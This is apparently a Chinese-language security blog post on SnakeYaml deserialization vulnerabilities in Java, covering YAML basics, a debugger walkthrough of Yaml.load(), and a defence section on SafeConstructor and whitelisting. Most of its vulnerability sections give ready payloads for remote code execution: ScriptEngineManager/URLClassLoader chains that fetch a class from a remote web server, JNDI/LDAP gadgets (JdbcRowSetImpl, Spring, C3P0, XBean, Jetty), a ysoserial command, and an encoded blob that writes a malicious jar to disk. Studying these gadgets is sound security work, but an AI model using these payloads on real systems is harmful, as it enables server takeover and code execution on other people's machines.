Java SnakeYaml反序列化漏洞
0x01 基本概念
Yaml简介
YAML
是 "YAML Ain't a Markup Language"
(YAML
不是一种标记语言)的递归缩写。在开发的这种语言时,YAML
的意思其实是:"Yet Another Markup Language"
(仍是一种标记语言)。是一个可读性高、用来表达数据序列化的格式,类似于XML
但比XML
更简洁。
在Java
中,有一个用于解析YAML
格式的库,即SnakeYaml
。SnakeYaml
是一个完整的YAML1.1
规范Processor
,支持UTF-8/UTF-16
,支持Java
对象的序列化/反序列化,支持所有YAML
定义的类型。
Yaml基本语法
- 大小写敏感
- 使用缩进表示层级关系
- 缩进不允许使用
tab
,只允许空格 - 缩进的空格数不重要,只要相同层级的元素左对齐即可
#
表示注释,只有行注释
支持的数据结构:
1. 对象
对象键值对使用冒号结构表示 key: value
,冒号后面要加一个空格。
也可以使用 key:{key1: value1, key2: value2, ...}
。
还可以使用缩进表示层级关系;
1 | key: |
2. 数组
使用一个短横线加一个空格代表一个数组项:
1 | - A |
YAML
支持多维数组,可以使用行内表示:
1 | key: [value1, value2, ...] |
数据结构的子成员是一个数组,则可以在该项下面缩进一个空格。
1 | companies: |
意思是 companies
属性是一个数组,每一个数组元素又是由 id
、name
、price
三个属性构成。
数组也可以使用流式(flow
)的方式表示:
1 | companies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}] |
3. 常量
YAML
中提供了多种常量结构,包括:整数,浮点数,字符串,NULL
,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:
1 | boolean: |
5. 引用
&
锚点和 *
别名,可以用来引用:
1 | defaults: |
相当于:
1 | defaults: |
&
用来建立锚点(defaults
),<<
表示合并到当前数据,*
用来引用锚点。
更多的关于YAML
的语法及使用可参考:https://www.yiibai.com/yaml
0x02 使用SnakeYaml
使用SnakeYaml进行序列化和反序列化
SnakeYaml
提供了Yaml.dump()
和Yaml.load()
两个函数对yaml
格式的数据进行序列化和反序列化。
Yaml.load():
入参是一个字符串或者一个文件,经过序列化之后返回一个Java
对象;Yaml.dump():
将一个对象转化为yaml
文件形式;
使用之前先引入依赖编写一个1
2
3
4
5<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.30</version>
</dependency>User
类1
2
3
4
5
6
7
8
9
10
11public class User {
String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}test.java
,序列化新建的User
对象为yaml
格式内容:输出内容如下:1
2
3
4
5
6
7
8
9
10
11import org.yaml.snakeyaml.Yaml;
public class test {
public static void main(String[] args) {
User user = new User();
user.setName("abc");
Yaml yaml = new Yaml();
String s = yaml.dump(user);
System.out.println(s);
}
}
这里!!
用于强制类型转化,!!User
是将该对象转为User
类,如果没有!
则就是个key
为字符串的Map
修改Test.java
,反序列化yaml
格式内容:输出如下:1
2
3
4
5
6
7
8
9
10import org.yaml.snakeyaml.Yaml;
public class test {
public static void main(String[] args) {
String s = "!!com.alter.test.User {name: abc}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user + ":" + user.getName());
}
}
SnakeYaml反序列化的类方法调用
类比Fastjson
的反序列化的类方法调用,这里试下Yaml.load()
在调用时会调用将要反序列化的类的哪些方法。
这里我们修改User
类:
1 | public class User { |
test.java
内容如下:
1 | import org.yaml.snakeyaml.Yaml; |
输出如下:
可以看到,调用了反序列化的类的构造函数和yaml
格式内容中包含的属性的setter
方法
无构造函数和set
函数情况下 snakeyaml
将使用反射的方式自动赋值。
1 | yaml.load("!!com.zlg.SnakeYaml.ModelA {a: 5, b: 0}") ; |
有构造函数的情况下
1 | yaml.load("!!com.zlg.SnakeYaml.ModelB [5 , 0 ]") ; |
SnakeYaml反序列化调试
在前面的反序列化Demo
中的User user = yaml.load(s);
上打断点开始调试。
在load()
函数中会先生成一个StreamReader
,将yaml
数据通过构造函数赋给StreamReader
,再调用loadFromReader()
函数:
在loadFromReader()
函数中,调用了BaseConstructor.getSingleData()
函数,此时type
为java.lang.Object
,指定从yaml
格式数据中获取数据类型是Object
类型:
跟进getSingleData()
函数中,先创建一个Node
对象(其中调用getSingleNote()
会根据流来生成一个文件,即将字符串按照yaml
语法转为Node
对象),然后判断当前Node
是否为空且是否Tag
为空,若不是则判断yaml
格式数据的类型是否为type
类型,即Object
类型、或者是否有根标签,这里都判断不通过,最后返回调用constructDocument()
函数的结果:
继续调试,经过如下调用栈来到getClassForNode
getClassForNode()
函数,先根据tag
取出className
为User
,然后调用getClassForName()
函数获取到具体的User
类,因此函数名就表示它的功能:根据Node
获取Class
这里介绍两个函数getClassName()
和getClassForName()
在getClassName()
函数中,判断开头是否是tag:yaml.org,2002:
,是的话进行UTF-8
编码并返回该类名
而在getClassForName()
函数中,根据获取到的User
类名来调用Class.forName()
即通过反射的方式来获取目标类User
:
回到construct()
函数,其中getConstructor(node)
回进入上文讲的getClassForNode(node)
中,下面介绍construct(node)
在construct(node)
函数中:Object obj = Constructor.this.newInstance(mnode);
会经过如下代码实例化一个User
类
1 | ... |
调用栈如下:
接下来通过return
语句设置User
类的属性值
跟进constructJavaBean2ndStep()
函数,其中会获取yaml
格式数据中的属性的键值对,然后调用propert.set()
来设置新建的User
对象的属性值:
跟进MethodProperty.set()
函数,就是通过反射机制来调用User
类name
属性的setter
方法来进行属性值的设置的:
调用栈如下
属性值设置完成后,就返回新建的含有属性值的User
类对象了。
整个SnakeYaml
反序列化的过程差不多就这样。
0x03 SnakeYaml反序列化漏洞
影响版本
SnakeYaml
全版本都可被反序列化漏洞利用
漏洞原理
因为SnakeYaml
支持反序列化Java
对象,所以当Yaml.load()
函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml
格式序列化内容,当服务端进行yaml
反序列化获取恶意类时就会触发SnakeYaml
反序列化漏洞。
复现利用(基于ScriptEngineManager利用链)
本次利用是基于javax.script.ScriptEngineManager
Java从1.6
开始自带ScriptEngineManager
这个类,原生支持调用js
,无需安装第三方库。ScriptEngine
支持在Js
中调用Java
的对象。
poc.java
需要实现ScriptEngineManager
接口类,其中的静态代码块用于执行恶意代码,将其编译成poc.class
然后放置于第三方Web
服务中:
1 | import javax.script.ScriptEngine; |
另外,在已放置poc.class
的第三方Web
服务中,在当前目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory
,其中内容为指定被执行的类名poc
(具体为啥这么做在后面的调试分析中会说到):
注意,不要添加.class
,否则.
会被当做目录来进行分割处理,从而不能正确地获取到class
文件。test.java
,假设的Yaml.load()
外部可控的服务端漏洞程序:
1 | import org.yaml.snakeyaml.Yaml; |
运行结果:
也可以直接打包成恶意jar
包放置在第三方Web
服务中来触发:https://github.com/artsploit/yaml-payload
上述的Payload
会从最右边开始解析, 首先调用java.net.URL
的 public URL(String spec)
构造器初始化对象, 然后将该URL
对象传入java.net.URLClassLoader
的 public URLClassLoader(URL[] urls)
构造器中, 因为该构造器形参是URL对象数组所以Payload
中用了两个方括号。最后即是调用 javax.script.ScriptEngineManager
的public ScriptEngineManager(URLClassloader loader)
构造器。
分析
在yaml.load(poc);
打上断点开始调试。
yaml
数据解析的过程和前面章节的过程分析一样的,经过如下调用栈,获取javax.script.ScriptEngineManager
类名
调试发现,在调用完如下调用链获取到类名javax.script.ScriptEngineManager
之后,会返回到调用链中的construct()
函数中调用获取到的构造器的constrcut()
方法,然后就会继续遍历解析得到yaml
格式数据内的java.net.URLClassLoader
类名和java.net.URL
类名:constructDocument
->constructObject
->constructObjectNoCheck
->construct
->getConstructor
->getClassForNode
->getClassForName
两个断点中间的代码循环执行了三次
往下调试,在返回到的Constructor$ConstructSequence.construct()
方法中,程序往下执行会调用newInstance()
函数来新建实例:
这里为新建ScriptEngineManager
类实例,其中argumentList
参数为URLClassLoader
类对象。
然后就调用到了ScriptEngineManager
类的构造函数了:
在init()
中调用了initEngines()
,跟进initEngines()
,看到调用了ServiceLoader<ScriptEngineFactory>
这个就是Java
的SPI
机制,当服务的提供者提供了一种接口的实现之后, 需要在classpath
下 META-INF/services
目录里创建一个以服务接口命名的文件, 文件内容为接口的具体实现类。当其他客户端程序需要这个服务的时候, 就可以通过查找META-INF/services
中的配置文件去加载对应的实现类。
也就是说会去寻找目标URL
中META-INF/services
目录下的名为javax.script.ScriptEngineFactory
的文件,获取该文件内容并加载文件内容中指定的类即poc
,这就是前面为什么需要我们在一台第三方Web
服务器中新建一个指定目录的文件,同时也说明了ScriptEngineManager
利用链的原理就是基于SPI
机制来加载执行用户自定义实现的ScriptEngineManager
接口类的实现类,从而导致代码执行
接着通过如下调用栈来到ServiceLoader$LazyIterator.nextService()
函数
这个函数调用Class.forName()
即通过反射来获取目标URL
上的poc.class
,此时在Web
服务端会看到被请求访问poc.class
的记录;接着c.newInstance()
函数创建的poc
类实例传入javax.script.ScriptEngineManager
类的cast()
方法来执行:
执行到第二遍是才实例化poc
最终通过newInstance
方法实例化,首先是URL
的实例化,之后是URLClassLoader
的实例化,最终实例化ScriptEngineManager
时才会真正的触发远程代码执行
此时由于新建的是poc
类实例,因此会调用到poc
类的构造函数,而该类的静态代码块会被执行一遍,从而触发率任意代码执行漏洞。
绕过!!
详细见https://b1ue.cn/archives/407.html!!
就相当于 fastjson
里的 @type
,用于指定要反序列化的全类名。
一旦 yaml
缺少了 !!
将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。
可使用以下两种方式替代!!
1 | //原poc |
相关应用CVE
Resteasy
Apache Camel
Apache Brooklyn
0x04 更多Gadgets探究
下面看下其他反序列化Gadgets
在SnakeYaml
中的利用,具体的调试分析过程就只简单提下并给出主要的利用链就好。
1. JdbcRowSetImpl
基于JdbcRowSetImpl
的Gadget
十分经典,有基于RMI
和LDAP
的,因为LDAP
的利用范围更广,因此这里就只跑这个场景,具体原理之前讲过就不再赘述。
poc
如下,注意添加换行符:
1 | String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true"; |
测试时注意版本问题
简单地说,就是SnakeYaml
在调用Yaml.load()
反序列化的时候,会调用到JdbcRowSetImpl
类的dataSourceName
属性的setter
方法即setDataSourceName()
,然后就触发后续一系列的利用链最后达到任意代码执行的目的。
问题TODO
这里有一个问题,之前JNDI
高版本的exp
都是利用反序列化getshell
,能不能像低版本那样远程加载类呢?
2. Spring PropertyPathFactoryBean
需要在目标环境存在springframework
相关的jar
包
可以直接将String
类型的poc
传参给Yaml.load()
,也可以从文件中读取内容传入文件流给Yaml.load()
,需要注意payload
中的各行的间隔距离:
1 | String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + |
开启LDAP
服务和放置Exploit
类的Web
服务,运行即可触发:
3. C3P0 JndiRefForwardingDataSource
原理和环境相关的参考Jackson
方面即可。payload:
1 | !!com.mchange.v2.c3p0.JndiRefForwardingDataSource |
4. C3P0
C3P0 WrapperConnectionPoolDataSource
本地环境依赖
1 | <dependency> |
需要用到C3P0.WrapperConnectionPoolDataSource
通过Hex
序列化字节加载器,给userOverridesAsString
赋值恶意序列化内容(本地Gadget
)的Hex
编码值达成利用。
这里以C3P0+CC2
为例
生成段CC2
弹计算器的poc
1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > /tmp/calc.ser |
读取文件内容并Hex
编码
1 | public class HexEncode { |
最终paylaod
如下,注意冒号后面有个空格:
1 | String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + |
userOverridesAsString:
后面的值还有一种构造方法(没有测试)
参考marshalsec
的Gadget
,下面是输出该值的代码:
1 | public static void createPoC() throws Exception { |
该Gadget
原理是userOverridesAsString
的setter
方法触发C3P0
数据库连接池去调用referenceToObject()
函数将Reference
转化成对象的时候导致的
5. ScriptEngineManager
参考 https://xz.aliyun.com/t/10655, 下面做个复现
主要分两步,第一步把利用时所需jar
包落地,第二步用ScriptEngineManager
通过file
协议加载本地jar
fastjson
和jackson
好像也没有直接RCE
的链,并且还多依赖于三方jar
包,通过改写1.2.68
写文件的链和ScriptManager
本地加载jar
包的方式 仅需依赖jdk
就可以完成RCE
。
用师傅的POC
写了payload
:
1 | !!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/Users/gaoshanyi/Projects/IdeaProjects/SnakeYaml/src/main/resources/evil.txt"],false],!!java.util.zip.Inflater { input: !!binary eJwL8GZmEWHg4OBgmLP2dAgDEhBhYGHwdQ1x1PX0c9P3dfTzdHMNDtHzdft3ioHhs++Z0z7eunoXeb11tc6dOb85yOCK8YOnn3zPnLlces5TR29bkIfu6TMPnz56ysQQ4M3Osb9LUFQXaKg2EAcAreRiYOBgwLCSE4jhVuJWxgbEiTklqUVgNdhdzw9XU5CfrJeck1hc3BviXX7bReTfsTLlo6WPjhxkDOLSrFVd6GLjtdBXSiPP6daN0qinS7jDklP7VodMK1kieDzuU/aNILHGy6z2DfJHH/Yt4doaKJNvYvz93vvd+X8/v3+9n/FOW+RR1xrz3t07licv7vK9sz6J+/7rH45z+U3+RLT2TWtrl9pm+sbAJ/fWOt3tEqe0V7fzTJ1WriLxKve2qP8iR38W9j3PJyy5+E3nncynA2HvQyIm6r+Z8DBptnUQS9v7SGke41rF7Xf3KT1gNqrKT91ae6b+Ydvhu/sSTx0o+51iNn2mbJfCFltzV76lBVcnV0jnT5i4RXZxbvukgsvL7pbv7GFatK/wVMLnLat1ma527EzmP3LwhLjLmsvBrO7XrWJvp8h+rJPKV1Y/6RTM8ttGgdkrxNLurfr81O3lOjqiuT+XSqx8JCqS4HhU5Qn3+xVHZY/L7JzEL/mNa4a/d53ce7vPgd+qjvPkOKx95Dj/UqyGg5pmufJL90tTYroaC57+tEx7kfnSdovz/YdTMkOvan74FaLZNlt78rFI3vs/fKOTohrfLv98sMDy7ecLHMk7J4YLx9zfMqekR3KmubD4tnSbV3n8ug+9Xy2c5XPqXNXNh3U2+7bwPLnxZdEBIettUulz2SpiHbNnHFzTNj/rxlFlrozpCY8ydppH9bHHHn4s9e3CtQsrH3Lu4vnOWywSxHSM+X55Trd2+0LH2q1K7d76Ec/35W+xCV/F08u3fVeaX/Rhu3lB+VyL1j2UTFt55GbTxUd7rNN4TqeLpbdHP0n4IqbFGcrrrvL56K3laRcYWJr4zYouPjnCM2t9HF+uy+YMmxf8Rv/3f4l84hW9dsqsrjcXa17XT+g6mejK07q0Le3PmQslkUo8nAHfJ59YYcnOuJ1lncPf/xmRL9MtvJ/7/Fl7+fSCyRcrE9/6bwgv0Uzs2xe8cUNX5a9rQswmGxzU/2674HNwe1BB599/fEWG7TqpJ45yTpjONfH9Y+aqXnc9cQX7nvfeKrtNGA9/3cgj73tgg9m0h59Yfkq3/qy3YfxUpvhJeJV30x7n9JUCleZuemq3RFbmhX/QfFl/NDTG21LucqTmkxtdlteEcvseV51ZmGf+YlrFjk7RKZ67vL49P3rNSnnb+Us38h5+LrYsO/8gYrlFiClvTWFeqTXr1asfU7d5ME/SuntJXsP0lPqKP63cvSuFM87XN+/bXtb0Mnxj3bxv7svfiH4WKmyeFqg+7WdE8HK78xePmBjl+656Ef7D6p3+goUlCx7O5tJ8d6Sx5rc8qGxwLzELn8LMwPCYA1Q2MDKJMCCyNHK5ASqQUAGu4glkChcD7jIGAYpRSxzc2thQtM1CKoFQHYzsGX4UPfswS6QAb1awuSxA+A5I94M9CACIMCq1 },1048576]] |
直接用师傅的exp
就可以直接让文件落地
然后进行第二步用ScriptEngineManager
通过file
协议加载本地jar
1 | String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"file:///SnakeYaml/src/main/resources/evil.txt\"]]]]"; |
其实保存到目标服务器的文件格式是什么不重要,txt
都可以执行jar
包结构为:
6. Spring
Spring DefaultBeanFactoryPointcutAdvisor
测试未通过
需要在目标环境存在springframework
相关的jar
包payload
如下:
1 | set: |
7. Apache XBean
未测试
本地环境用的xbean-naming-4.5.jar
。payload:
1 | !!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]] |
8. Apache Commons Configuration
未测试payload:
1 | set: |
9. Resource
未测试payload:
1 | [!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]] |
0x05 检测与防御
检测方法
排查服务端环境是否使用了SnakeYaml
,若使用了则全局搜索关键字yaml.load
,若存在该关键字则需要进一步排查参数是否外部可控。
防御方法
- 禁止
Yaml.load()
函数参数外部可控; - 若业务确实需要反序列化,则需严格过滤该参数内容,使用
SafeConstructor
对反序列化的内容进行限制或使用白名单控制反序列化的类的白名单;
在snakeyaml 1.30
/org/yaml/snakeyaml/constructor/SafeConstructor.java
中看到,其构造函数就自定义了反序列化的类的白名单:
1 | public SafeConstructor(LoaderOptions loadingConfig) { |
0x06 利用工具
https://github.com/artsploit/yaml-payload
本文使用的代码(部分):
https://github.com/altEr1125/altEr1125.github.io/tree/master/file/Java%20SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
0x07 Reference
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://b1ue.cn/archives/407.html
https://xz.aliyun.com/t/10655